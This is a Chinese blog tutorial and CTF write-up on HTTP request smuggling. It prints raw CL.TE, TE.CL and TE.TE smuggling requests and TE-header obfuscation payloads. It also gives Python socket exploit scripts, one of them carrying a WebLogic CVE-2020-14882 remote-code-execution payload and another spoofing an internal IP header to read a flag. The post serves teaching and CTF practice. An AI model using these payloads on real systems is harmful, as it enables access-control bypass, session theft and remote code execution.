协议层安全相关《http请求走私与CTF利用》
0x00 前言  最近刷题的时候多次遇到HTTP请求走私相关的题目,但之前都没怎么接触到相关的知识点,只是在GKCTF2021--hackme中使用到了 CVE-2019-20372(Nginx<1.17.7 请求走私漏洞),具体讲就是通过nginx的走私漏洞访问到Weblogic Console的登录页面,然后打Weblogic历史漏洞读取flag。当时做那道题的时候对走私漏洞没有深入理解,今天打ISCC2022的时候又遇到了一道利用gunicorn<20.04请求走私漏洞绕waf的题目,因此好好学习一下还是很有必要的。  0x01 发展时间线  最早在2005年,由Chaim Linhart,Amit Klein,Ronen Heled和Steve Orrin共同完成了一篇关于HTTP Request Smuggling这一攻击方式的报告。通过对整个RFC文档的分析以及丰富的实例,证明了这一攻击方式的危害性。  https://www.cgisecurity.com/lib/HTTP-Request-Smuggling.pdf   在2016年的DEFCON 24 上,@regilero在他的议题——Hiding Wookiees in HTTP中对前面报告中的攻击方式进行了丰富和扩充。  https://media.defcon.org/DEF%20CON%2024/DEF%20CON%2024%20presentations/DEF%20CON%2024%20-%20Regilero-Hiding-Wookiees-In-Http.pdf  在2019年的BlackHat USA 2019上,PortSwigger的James Kettle在他的议题——HTTP Desync Attacks: Smashing into the Cell Next Door中针对当前的网络环境,展示了使用分块编码来进行攻击的攻击方式,扩展了攻击面,并且提出了完整的一套检测利用流程。  0x02 什么是请求走私  当今的web架构中,单纯的一对一客户端---服务端结构已经逐渐过时。为了更安全的处理客户端发来的请求,服务端会被分为两部分:前端服务器与后端服务器。前端服务器(例如代理服务器)负责安全控制,只有被允许的请求才能转发给后端服务器,而后端服务器无条件的相信前端服务器转发过来的全部请求,并对每一个请求都进行响应。但是在这个过程中要保证前端服务器与后端服务器的请求边界设定一致,如果前后端服务器对请求包处理出现差异,那么就可能导致攻击者通过发送一个精心构造的http请求包,绕过前端服务器的安全策略直接抵达后端服务器访问到原本禁止访问的服务或接口,这就是http请求走私。  听起来是不是有点像SSRF?不过SSRF与HTTP请求走私是有差别的,SSRF是直接利用内网机器来访问内网资源,但请求走私不是。用一张portswigger报告中经典的图来理解一下,有一种夹带私货的感觉,或许这就是被称为走私漏洞的原因吧:    0x03 漏洞成因与常见类型  http请求走私攻击比较特殊,它不像常规的web漏洞那样直观。它更多的是在复杂网络环境下,不同的服务器对RFC标准实现的方式不同,程度不同。因此,对同一个HTTP请求,不同的服务器可能会产生不同的处理结果,这样就产生了安全风险。  在学习之前我们先了解一下HTTP1.1中使用最为广泛的两种特性:Keep-Alive&Pipeline。  Keep-Alive&Pipeline  所谓Keep-Alive,就是在HTTP请求中增加一个特殊的请求头Connection: Keep-Alive,告诉服务器,接收完这次HTTP请求后,不要关闭TCP链接,后面对相同目标服务器的HTTP请求,重用这一个TCP链接,这样只需要进行一次TCP握手的过程,可以减少服务器的开销,节约资源,还能加快访问速度。当然,这个特性在HTTP1.1中是默认开启的。  有了Keep-Alive之后,后续就有了Pipeline,在这里呢,客户端可以像流水线一样发送自己的HTTP请求,而不需要等待服务器的响应,服务器那边接收到请求后,需要遵循先入先出机制,将请求和响应严格对应起来,再将响应发送给客户端。  如今,浏览器默认是不启用Pipeline的,但是一般的服务器都提供了对Pipleline的支持。  CL&TE  CL 和 TE 即是 Content-Length 和 Transfer-Encoding 请求头(严格来讲前者是个实体头,为了方便就都用请求头代指)。这里比较有趣的是 Transfer-Encoding(HTTP/2 中不再支持),指定用于传输请求主体的编码方式,可以用的值有 chunked/compress/deflate/gzip/identity ,完整的定义在 https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Transfer-Encoding#Directives 和 https://tools.ietf.org/  CL好理解,对于TE我们重点关注chunked。当我们设置TE为chunked时,CL就会被省略。为了区分chunk的边界,我们需要在每个chunk前面用16进制数来表示当前chunk的长度,后面加上\r\n,再后面就是chunk的内容,然后再用\r\n来代表chunk的结束。最后用长度为 0 的块表示终止块。终止块后是一个 trailer,由 0 或多个实体头组成,可以用来存放对数据的数字签名等。譬如下面这个例子:  POST / HTTP/1.1  Host: example.com  Content-Type: application/x-www-form-urlencoded  Transfer-Encoding: chunked  b  //chunk_size  q=smuggling  6  hahaha  0  //end  [blank]  [blank]  另外要注意\r\n占2字节,我们在计算长度的时候很容易把它们忽略。最后把请求包以字节流形式表述出来就是:  POST / HTTP/1.1\r\nHost: 1.com\r\nContent-Type: application/x-www-form-urlencoded\r\nTransfer-Encoding: chunked\r\n\r\nb\r\nq=smuggling\r\n6\r\nhahaha\r\n0\r\n\r\n   常见走私类型  1.CL不为0  如果前端代理服务器允许GET携带请求体,而后端服务器不允许GET携带请求体,后端服务器就会直接忽略掉GET请求中的Content-Length头,这就有可能导致请求走私。  例如我们构造出:  GET / HTTP/1.1\r\n  Host: example.com\r\n  Content-Length: 43\r\n  GET / admin HTTP/1.1\r\n  Host: example.com\r\n  \r\n  在前端服务器看来它是一个请求,但是在后端服务器来看它就是:  //第一个请求  GET / HTTP/1.1\r\n  Host: example.com\r\n  //第二个请求  GET / admin HTTP/1.1\r\n  Host: example.com\r\n  2.CL CL  在RFC7230的第3.3.3节中的第四条中,规定当服务器收到的请求中包含两个Content-Length,而且两者的值不同时,需要返回400错误。  https://tools.ietf.org/html/rfc7230#section-3.3.3  但是很明显这并非是强制的,如果服务器不遵守安全规定在服务器收到多个CL不相同的请求时不返回400错误,那么就可能会导致请求走私。  我们假设前端服务器按照第一个CL处理而后端服务器按照第二个CL,构造出如下HTTP包:  POST / HTTP/1.1\r\n  Host: example.com\r\n  Content-Length: 8\r\n  Content-Length: 7\r\n  12345\r\n  a  前端代理服务器收到的请求通过第一个CL判断body为8字节,随后将包发送给后端源服务器;源服务器收到请求通过第二个CL判断body为7字节,这时候最后一个字节 b'a'就会被遗留在源服务器缓存器。由于前后端服务器一般是宠用TCP连接,假设此时正常用户向服务器发送了正常的数据包,如下:  GET / HTTP/1.1\r\n  Host: example.com\r\n  这时残留在缓存中的一个字节就会被添加到这个正常的请求前端变成:  aGET / HTTP/1.1\r\n  Host: example.com\r\n  导致了请求走私,正常数据包被篡改。  但很明显这种情况过于“巧合”应该很难遇见,存在两个CL的包一般服务器都不会接受,在RFC2616的第4.4节中,规定:如果收到同时存在Content-Length和Transfer-Encoding这两个请求头的请求包时,在处理的时候必须忽略Content-Length,这就意味着我们可以在头部同时包含这两种请求头,相比这下这种方式更现实一些。  3.CL TE  所谓CL TE就是前置服务器认为 Content-Length 优先级更高(或者说根本就不支持 Transfer-Encoding ) ,后端服务器认为 Transfer-Encoding 优先级更高。  我们可以构造出body中带有字节 0的请求包,前端服务器通过CL判断这是一个正常的数据包并转发给后端,后端服务器使用TE就会把字节0后的数据滞留到缓冲区,并且与下一次的正常请求进行拼接,这里用一下portswigger团队的lab作为实验:https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te  构造如下请求包:  POST / HTTP/1.1\r\n  Host: ac721f8e1fcb0119c0b98800005c0061.web-security-academy.net\r\n  Cookie: session=ehzpRrrgyPHDRJtSnaWLcZ0fstSXLWiC\r\n  Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="100", "Google Chrome";v="100"\r\n  Sec-Ch-Ua-Mobile: ?0\r\n  Sec-Ch-Ua-Platform: "Windows"\r\n  Upgrade-Insecure-Requests: 1\r\n  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36\r\n  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\r\n  Sec-Fetch-Site: none\r\n  Sec-Fetch-Mode: navigate\r\n  Sec-Fetch-User: ?1\r\n  Sec-Fetch-Dest: document\r\n  Accept-Encoding: gzip, deflate\r\n  Accept-Language: zh-CN,zh;q=0.9\r\n  Connection: close\r\n  Content-Length: 10\r\n  Transfer-Encoding:chunked\r\n  \r\n  0\r\n  \r\n  A\r\n  \r\n  连续发送几次就会发现字母A被拼接到了下一请求中,导致了请求走私,当然也会报错。   4.TE CL  TE CL与CL TE正好相反,假如前端服务器处理TE请求头,而后端服务器处理CL请求头,我们同样可以构造恶意数据包完成走私攻击;依旧使用portswigger的lab:https://portswigger.net/web-security/request-smuggling/lab-basic-te-cl  我们构造出如下请求:  POST / HTTP/1.1  Host: ac901ff41f9aa7fdc0ce7b16001000db.web-security-academy.net  Cookie: session=MrJkkUD4dyxv9gzzgERPtb56d0cCo79Z  Cache-Control: max-age=0  Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="100", "Google Chrome";v="100"  Sec-Ch-Ua-Mobile: ?0  Sec-Ch-Ua-Platform: "Windows"  Upgrade-Insecure-Requests: 1  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9  Sec-Fetch-Site: cross-site  Sec-Fetch-Mode: navigate  Sec-Fetch-User: ?1  Sec-Fetch-Dest: document  Referer: https://portswigger.net/  Accept-Encoding: gzip, deflate  Accept-Language: zh-CN,zh;q=0.9  Connection: close  Content-Type: application/x-www-form-urlencoded  Content-Length: 4  Transfer-Encoding: chunked  12  WPOST / HTTP/1.1  0  多次发送后发现:   WPOST被拆分了出来,重点关注body部分  \r\n  12\r\n  WPOST / HTTP/1.1\r\n  \r\n  0\r\n  \r\n  前端处理TE读取到0\r\n\r\n之后就认为读取完毕发送给后端,而后端处理CL只读取4字节\r\n12就认为数据包结束,这时候剩下的WPOST / HTTP/1.1\r\n\r\n0\r\n\r\n就被认为是另一个请求,因此发生了请求报错。  5.TE TE  TE-TE:前置和后端服务器都支持 Transfer-Encoding,但通过混淆能让它们在处理时产生分歧。  lab:https://portswigger.net/web-security/request-smuggling/lab-obfuscating-te-header  构造出如下请求包:  POST / HTTP/1.1  Host: ace41f161f1a1382c0814ee300db0086.web-security-academy.net  Cookie: session=nqskpdP0aWuG4GW5xlYYxEUVulcJC6vG  Cache-Control: max-age=0  Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="100", "Google Chrome";v="100"  Sec-Ch-Ua-Mobile: ?0  Sec-Ch-Ua-Platform: "Windows"  Upgrade-Insecure-Requests: 1  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9  Sec-Fetch-Site: cross-site  Sec-Fetch-Mode: navigate  Sec-Fetch-User: ?1  Sec-Fetch-Dest: document  Referer: https://portswigger.net/  Accept-Encoding: gzip, deflate  Accept-Language: zh-CN,zh;q=0.9  Connection: close  Content-Type: application/x-www-form-urlencoded  Content-Length: 4  Transfer-Encoding:chunked  //两种TE造成混淆  Transfer-Encoding:cow  5c  WPOST / HTTP/1.1  Content-Type: application/x-www-form-urlencoded  Content-Length: 15  x=1  0  多次发送后:   可以看到这里我们采用了:  Transfer-Encoding:chunked\r\n  Transfer-Encoding:cow\r\n  除了这种混淆方式,除了这些portswigger团队还给出了其它可用于TE混淆的payload:  Transfer-Encoding: xchunked  Transfer-Encoding[空格]: chunked  Transfer-Encoding: chunked  Transfer-Encoding: x  Transfer-Encoding:[tab]chunked  [空格]Transfer-Encoding: chunked  X: X[\n]Transfer-Encoding: chunked  Transfer-Encoding  : chunked  0x04 走私攻击应用实例  1.使用CL TE走私获取其他用户的请求  lab:https://ac991f4d1ef4a5e7c0bd1cc8006c0014.web-security-academy.net/  打开页面是blog,用户可以在页面发表评论,由于前后端服务器的请求头处理差异导致我们可以利用CL TE获取其它用户的请求头,譬如我们构造出如下请求:  POST / HTTP/1.1  Host: ac991f4d1ef4a5e7c0bd1cc8006c0014.web-security-academy.net  Cookie: session=plmft6w5VTTDEI0J15a06sNdaQUcPNPO  Content-Length: 333  Transfer-Encoding:chunked  Content-Type: application/x-www-form-urlencoded  0  POST /post/comment HTTP/1.1  Host: ac991f4d1ef4a5e7c0bd1cc8006c0014.web-security-academy.net  Cookie: session=plmft6w5VTTDEI0J15a06sNdaQUcPNPO  Content-Length: 700  Content-Type: application/x-www-form-urlencoded  csrf=vMqN9Cq1aip2DYMTyFEokIA5IkONc7oM&postId=6&name=a&email=1%40qq.com&website=http%3A%2F%2F1.com&comment=spring  前端服务器使用CL验证,获取CL为333后判定这是一个正常的请求并发送给后端,而后端服务器通过TE的结尾表标识0\r\n\r\n认为前半部分是一个正常的请求,而后半部分:  POST /post/comment HTTP/1.1  Host: ac991f4d1ef4a5e7c0bd1cc8006c0014.web-security-academy.net  Cookie: session=plmft6w5VTTDEI0J15a06sNdaQUcPNPO  Content-Length: 700  Content-Type: application/x-www-form-urlencoded  csrf=vMqN9Cq1aip2DYMTyFEokIA5IkONc7oM&postId=6&name=a&email=1%40qq.com&website=http%3A%2F%2F1.com&comment=spring  因为Pipeline的存在被放置在了缓存区。如果这时另一个正常用户也发来了一段评论,那么这个请求会被拼接到滞留在缓存区的请求后面构成一个新的请求:  POST /post/comment HTTP/1.1  Host: ac991f4d1ef4a5e7c0bd1cc8006c0014.web-security-academy.net  Cookie: session=plmft6w5VTTDEI0J15a06sNdaQUcPNPO  Content-Length: 700  Content-Type: application/x-www-form-urlencoded  csrf=vMqN9Cq1aip2DYMTyFEokIA5IkONc7oM&postId=6&name=a&email=1%40qq.com&website=http%3A%2F%2F1.com&comment=springPOST /post/comment HTTP/1.1  Host: ac991f4d1ef4a5e7c0bd1cc8006c0014.web-security-academy.net  Cookie: session=ashAwdweas.......  这时候我们就发现请求头被拼接到了comment的后面然后被当作comment返回,这样我们就可能通过获取到其他用户的Cookie。  在lab中我们要不断第二个CL的大小,调整至合适大小才有可能正常泄露出来;我从700开始服务器报500,但不知道是哪里出了问题响应一直超时:   不过原理还是很好理解,大家可以自己去试一试,有点玄学。  2.泄露请求头重写请求实现未授权访问  前面我们提到,前端服务器的作用之一就是过滤外界用户对于未授权接口的访问,一般前端用户收到一段请求后,会在包里添加一些请求头例如: • 用户的session等会话ID。 • XFF头用于显示用户IP,当然一般不会是X-Forwarded-For因为很容易被猜到。 • 用户指纹信息、token等。  如果我们能泄露这些前端服务器向后端服务器中继发送的请求中的请求头,那么我们就可以伪造出前端服务器的请求包来完成对敏感接口的未授权访问,实现一些恶意操作。  那么问题来了,我们如何能获取到前端服务器发送到后端服务器的请求头呢?其实不难想,如果服务器能对我们输入的POST参数,即body部分响应输出,然后我们构造一个普通的请求放在body后面,前端服务器接收到之后就会对我们添加的请求进行重写,如果我们的指定Content-Length为较大的值就会把前端服务器重写时添加的重要字段给泄露出来拼接到body后面,随后后端服务器会将其与响应一并返回。  这么讲可能还是有些抽象,我们拿lab来举例:  https://acbc1f4d1e121980c02b64d600c40022.web-security-academy.net/  构造出如下请求包:  POST / HTTP/1.1  Host: acbc1f4d1e121980c02b64d600c40022.web-security-academy.net  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36  Cookie: session=RcsAYo8SoCQx0bwXn0oG0G1RkLNPHuz4  Content-Type: application/x-www-form-urlencoded  Content-Length: 77  Transfer-Encoding:chunked  0  POST / HTTP/1.1  Content-Length:70  Connection:close  search=111  多发送几次我们会发现成功泄露出来XFF头信息:   我们简单捋一下过程便于理解,首先前端服务器通过CL判断出这是一个完整的请求并转发给后端服务器,后端服务器通过TE将0字节标识前的部分正常处理,后半部分也被看作是一次正常的请求但被滞留在缓存区,同时由于我们设置的CL是超过实际长度,缓存区就会等待下一次正常请求,也就是前端服务器发来的新请求截取其部分请求头放在请求参数后面凑够CL后一并返回。  我们走私到后端服务器被滞留在缓存区的请求是:  POST / HTTP/1.1  Content-Length:70  Connection:close  search=111  后端服务器接收到新请求并拼接在search之后是:  POST / HTTP/1.1  Content-Length:70  Connection:close  search=111 POST / HTTP/1.1 X-TsINOz-Ip: 117.136.5.78 Host:......  最后后端服务器就会将信息响应返回。  3.其它应用  除了这两种还有一些利用方式: • 反射型 XSS 组合拳 • 将 on-site 重定向变为开放式重定向 • 缓存投毒 • 缓存欺骗  这些@mengchen师傅在知道创宇404发的paper里都有实验讲解,感兴趣的可以去看一看。(paper链接在文末)  0x05 CTF实战利用  GKCTF2021[hackme]   这道题目首先是需要nosql注入爆出密码,然后登陆获得任意文件读取功能,前半部分我们暂且忽略,我们重点关注后半部分。  读取nginx配置文件发现后端存在weblogic服务:   同时注意到nginx版本为1.17.6,存在请求走私:   假如我们构造:  GET /a HTTP/1.1  Host: localhost  Content-Length: 56  GET /_hidden/index.html HTTP/1.1  Host: notlocalhost  那么nginx会把这两个请求都执行,这就会造成请求走私。可参考:https://v0w.top/2020/12/20/HTTPsmuggling/#5-2-%EF%BC%88CVE-2020-12440%EF%BC%89Nginx-lt-1-8-0-%E8%AF%B7%E6%B1%82%E8%B5%B0%E7%A7%81  针对这道题目我们构造出如下请求包:  GET /test HTTP/1.1  Host: node4.buuoj.cn:27230  Content-Length: 0  Transfer-Encoding: chunked  GET /console/login/LoginForm.jsp HTTP/1.1  Host: weblogic  响应包中包含了weblogic的版本信息:  WebLogic Server Version: 12.2.1.4.0  版本正好契合CVE-2020-14882,我们直接拿socket去打就可以拿到flag。  最终exp  //来源于https://www.lemonprefect.cn的博客  import socket  sSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  sSocket.connect(("node4.buuoj.cn", 26319))  payload = b'''HEAD / HTTP/1.1\r\nHost: node4.buuoj.cn\r\n\r\nGET /console/css/%252e%252e%252fconsolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession(%27weblogic.work.ExecuteThread%20currentThread%20=%20(weblogic.work.ExecuteThread)Thread.currentThread();%20weblogic.work.WorkAdap  sSocket.send(payload)  sSocket.settimeout(2)  response = sSocket.recv(2147483647)  while len(response) > 0:     print(response.decode())     try:         response = sSocket.recv(2147483647)     except:         break  sSocket.close()   RCTF2019[esay calc]  常规绕waf  首先查看源码根据提示来到calc.php   代码对特殊字符进行了一些过滤,注意到最后代码执行,我们传入:  calc.php?num=;)phpinfo();//  执行后发现:   明显是有waf不合法请求,有一种做法是参数前面加空格使服务器无法解析绕waf,再用ascii转码读文件:  ? num=readfile(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))   走私绕waf  注意到只要能让前端服务器报错我们就能突破前端waf限制;所以事实上我们还可以利用走私攻击绕waf,而且前面四种方式都是有效的,这里举两个例子,剩下几种大家可以自行尝试:  注意下面的请求中num前没有空格了。  CL CL   CL TE    ISCC2022[让我康康!]  分析与利用   如果直接访问flag会爆403:   我们通过相应包的头部发现了gunicorn20.0,经查阅版本存在请求走私,具体可参考:  https://grenfeldt.dev/2021/04/01/gunicorn-20.0.4-request-smuggling/  通过给出的POC我们编写脚本成功实现请求走私,看到要求很明显是需要获取前端服务器请求头的来源IP名称来伪造本地访问获取flag:   那么我的思路就是多次发送请求,并且设置前一个请求的CL为超过实际请求体的较大数值;由于后端服务器设置Keep-Alive,所以它会误认为请求没有发送完毕,会继续等待;而这时候我们再给前端服务器发送一个请求,前端服务器就会把带有来源IP头部的http包发送给后端服务器,后端服务器接收足够上一包内CL的时候就会把这个泄露敏感凭证的包一并返回给客户端,从而造成了敏感信息泄露。  其实思路与上面讲到的应用实例2一样,只不过gunicorn20.0的走私漏洞是由于默认Sec-Websocket-Key的配置导致后端服务器会以xxxxxxxx为标识位,这就导致xxxxxxxx后面的部分会滞留在缓存区,可以认为是一种变种的CL TE走私。  我们可以通过burp直接构造请求,但是由于Content-Length需要我们自定义,比如第一个Content-Length仅仅是计算到第一个手动添加的POST请求,所以构造的时候要额外小心。     当然我们直接写脚本拿socket发更直观。  最终exp  import socket  secret_payload=b'''POST / HTTP/1.1\r  Host: 59.110.159.206:7020\r  Content-Length: 149\r  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36  Content-Type: application/x-www-form-urlencoded\r  Sec-Websocket-Key1:x\r  \r  xxxxxxxxPOST / HTTP/1.1\r  Host:127.0.0.1\r  secr3t_ip: 127.0.0.1\r  Content-Length: 150\r  Content-Type: application/x-www-form-urlencoded\r  \r  search=abc\r  \r  POST / HTTP/1.1\r  Content-Length: 14\r  Content-Type: application/x-www-form-urlencoded\r  \r  search=111\r  \r  '''  final_payload=b'''POST / HTTP/1.1\r  Host: 59.110.159.206:7020\r  Content-Length: 152\r  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36\r  Content-Type: application/x-www-form-urlencoded\r  Sec-Websocket-Key1:x\r  \r  xxxxxxxxGET /fl4g HTTP/1.1\r  Host:127.0.0.1\r  secr3t_ip: 127.0.0.1\r  Content-Length: 150\r  Content-Type: application/x-www-form-urlencoded\r  \r  search=abc\r  \r  POST / HTTP/1.1\r  Content-Length: 14\r  Content-Type: application/x-www-form-urlencoded\r  \r  search=111\r  \r  '''  test1 = b'''POST / HTTP/1.1\r  Host: 127.0.0.1\r  Content-Length: 67\r  Sec-Websocket-Key1:x\r  \r  xxxxxxxxGET /fl4g HTTP/1.1\r  Host:127.0.0.1\r  Content-Length: 123\r  \r  GET / HTTP/1.1\r  Host: 127.0.0.1\r  \r  '''  test2=b'''POST / HTTP/1.1  Host: 59.110.159.206:7020  Content-Length: 10  Content-Type: application/x-www-form-urlencoded  search=123'''  sSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  sSocket.connect(("59.110.159.206", 7020))  def send(payload):     print(payload)     sSocket.send(payload)     sSocket.settimeout(2)     response = sSocket.recv(2147483647)     while len(response) > 0:         print(response.decode())         try:             response = sSocket.recv(2147483647)         except:             break     sSocket.close()  if __name__ == '__main__':     send(final_payload)   0x06 Reference  https://regilero.github.io/tag/Smuggling/  https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn  https://paper.seebug.org/1048  https://xz.aliyun.com/t/7501
网络安全日报 2022年05月24日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、PayPal 中的一个漏洞可以让攻击者从用户的账户中窃取资金 https://securityaffairs.co/wordpress/131569/hacking/paypal-clickjacking-attack.html 2、Cytrox 的 Predator 间谍软件在 3 个活动中使用了零日漏洞 https://securityaffairs.co/wordpress/131561/hacking/predator-spyware-zero-day-exploits.html 3、面部识别公司 Clearview AI 被英国监管机构罚款 940 万美元 https://www.securityweek.com/facial-recognition-firm-clearview-ai-fined-94-million-uk-regulator 4、50 万芝加哥学生和教职员工数据泄露 https://www.securityweek.com/breach-exposed-data-half-million-chicago-students-staff 5、研究人员发现跨链协议Wormhole 漏洞,获得1000W美元奖金 https://portswigger.net/daily-swig/blockchain-bridge-wormhole-pays-record-10m-bug-bounty-reward 6、恶意PDF附件分发Snake Keylogger恶意软件 https://www.bleepingcomputer.com/news/security/pdf-smuggles-microsoft-word-doc-to-drop-snake-keylogger-malware/ 7、攻击者利用虚假PoC针对infoSec社区 https://blog.cyble.com/2022/05/20/malware-campaign-targets-infosec-community-threat-actor-uses-fake-proof-of-concept-to-deliver-cobalt-strike-beacon/ 8、格陵兰披露遭到网络攻击导致其卫生服务严重受限 https://therecord.media/greenland-cyberattack-healthcare-systems/ 9、微软发布带外更新修复微软商店应用程序问题 https://www.bleepingcomputer.com/news/microsoft/emergency-windows-10-updates-fix-microsoft-store-app-issues/ 10、2022年第一季度《App违规收集个人信息风险分析报告》发布 https://www.qianxin.com/threat/reportdetail?report_id=155
网络安全日报 2022年05月23日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、美国CFAA迎来重大修订,白帽黑客或将无责 https://www.freebuf.com/news/333764.html 2、Nikkei 披露了可能影响客户数据的勒索软件攻击 https://www.securityweek.com/nikkei-says-customer-data-likely-impacted-ransomware-attack 3、Lazarus APT 使用 Log4JShell 攻击 VMware 服务器 https://securityaffairs.co/wordpress/131483/apt/lazarus-apt-log4j-vmware-servers.html 4、思科修复了一个被积极利用的 IOS XR 漏洞 https://securityaffairs.co/wordpress/131516/security/cisco-ios-xr-flaw.html 5、Linux XorDdos bot 的活动在过去六个月中增加了 254% https://securityaffairs.co/wordpress/131478/hacking/linux-bornet-xorddos-254-surge.html 6、Conti 勒索软件团伙关闭了其运营 https://securityaffairs.co/wordpress/131464/cyber-crime/conti-ransomware-shut-down.html 7、印度Razorpay公司遭黑客入侵损失约7383万卢比 https://www.thehindu.com/news/national/hacker-steals-73-crore-from-payment-gateway-company-razorpay-in-bengaluru/article65426835.ece 8、Netgear修复锁定管理控制台的错误Orbi固件更新 https://www.bleepingcomputer.com/news/technology/netgear-fixes-bad-orbi-firmware-update-that-locked-admin-console/ 9、WordPress的School Management Pro插件中被发现存在后门 https://thehackernews.com/2022/05/researchers-find-backdoor-in-school.html 10、Swagger-UI库中漏洞可导致DOM XSS攻击 https://portswigger.net/daily-swig/widespread-swagger-ui-library-vulnerability-leads-to-dom-xss-attacks
网络安全日报 2022年05月20日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、研究人员发现针对 GitLab CI 管道的供应链攻击 https://www.securityweek.com/researchers-spot-supply-chain-attack-targeting-gitlab-ci-pipelines 2、Pwn2Own 2022:微软Teams 的漏洞利用获得了45万美元 https://www.securityweek.com/microsoft-teams-exploits-earn-hackers-450000-pwn2own-2022 3、Google 的Java OAuth 客户端库漏洞允许部署恶意负载 https://securityaffairs.co/wordpress/131459/security/google-oauth-client-library-flaw.html 4、一种新型的蓝牙中继攻击可以让攻击者远程解锁智能锁和汽车 https://thehackernews.com/2022/05/new-bluetooth-hack-could-let-attackers.html 5、Jupiter 和 JupiterX Core 插件提权漏洞影响9万多个WordPress站点 https://threatpost.com/vulnerability-wordpress-themes-site-takeover/179672/ 6、连锁药房Dis-Chem遭数据泄露,影响 360 万客户 https://www.infosecurity-magazine.com/news/pharmacy-giant-data-breach/ 7、CISA 分享安全指南以阻止正在进行的 F5 BIG-IP 攻击 https://www.bleepingcomputer.com/news/security/cisa-shares-guidance-to-block-ongoing-f5-big-ip-attacks/ 8、Kingminer 僵尸网络攻击 Microsoft SQL Server https://www.trendmicro.com/en_us/research/22/e/uncovering-a-kingminer-botnet-attack-using-trend-micro-managed-x.html 9、近 200 万德州人的个人信息被暴露了近三年 https://www.infosecurity-magazine.com/news/personal-information-two-million/ 10、勒索软件袭击美国医疗保健公司 Omnicell https://www.infosecurity-magazine.com/news/ransomware-healthcare-omnicell/
2022年网络安全高级研修班·第二期 邀请函
为深入贯彻落实我国“十四五”规划和2035年远景目标纲要对网络安全工作的重要部署,把握当前国际国内、教育系统网络安全工作面临的新形势,加强网络安全宣传教育和人才培养,赋能学校打造经验丰富的网安教学师资队伍,全面提升网络安全技能实战教学水平。特针对护网红队技术、漏洞攻击实战等热点需求,举办此次“2022年网络安全高级研修班”。  一、会议组织  指导单位:中国网络空间安全人才教育论坛  主办单位:湖南蚁景科技有限公司  二、会议内容  本次会议主要针对护网红队攻击技能实战实训,内容涵盖红队攻击基础、WEB打点、漏洞攻击实战、红队攻击框架详解、内网渗透实战等。  红队攻击基础:红队攻击基本流程、环境搭建以及信息收集。  红队攻击之WEB打点:常见WEB漏洞利用、WEB漏洞扫描器实战。  红队攻击之漏洞攻击:常见中间件漏洞攻击利用、常见开发框架漏洞攻击利用。  红队攻击框架详解:Metasploit、Cobaltstrike。  红队攻击之内网渗透:内网信息收集、密码凭证获取、内网横向移动。  三、参会对象  全国高校、职业院校计算机相关专业(信息安全、计算机科学与技术、网络安全、信息科学与工程、软件工程、网络工程等)学科带头人、专业骨干教师、实验室人员参加。  四、参会收获   1、系统了解护网红队攻击技能核心知识,与讲师互动交流。  2、掌握红队攻击基础、WEB打点、漏洞攻击利用、红队攻击框架、红队攻击工具使用、内网渗透等实战技能。  3、现场跟随讲师的经典案例示范,进行红队攻击实操演练。  4、获得由中国网络空间安全人才教育论坛颁发的证书。  五、会议安排  1、会议方式:线上+线下同步开展  2、报到时间:2022年7月17日全天  3、会议时间:2022年7月18日-7月22日  4、报到地点:湖南长沙  5、会议地点:湖南长沙  6、会议规模:50人  六、会议报名  1、报名时间:即日起至2022年7月17日  2、报名邮箱:EDU@antvsion.com  3、电话咨询:宋老师 13657413038   4、培训费:  3680元/人(含培训资料,提供录播视频,线下参会人员路费和食宿费用自理,需自带电脑)  5、付款方式:  ◆ 线上汇款:(请务必在备注栏里注明“学校名+参会者姓名”)  公司名称:湖南蚁景科技有限公司  开户行名称:北京银行长沙麓谷支行  开户行账号:2000 0044 8649 0003 6286 388  ◆ 现场缴费:现金、扫码或刷卡(银行卡、公务卡均可)   具体课程内容 扫描下方二维码即可报名:
CVE-2021-44548 Apache Solr 敏感信息泄露漏洞分析及复现
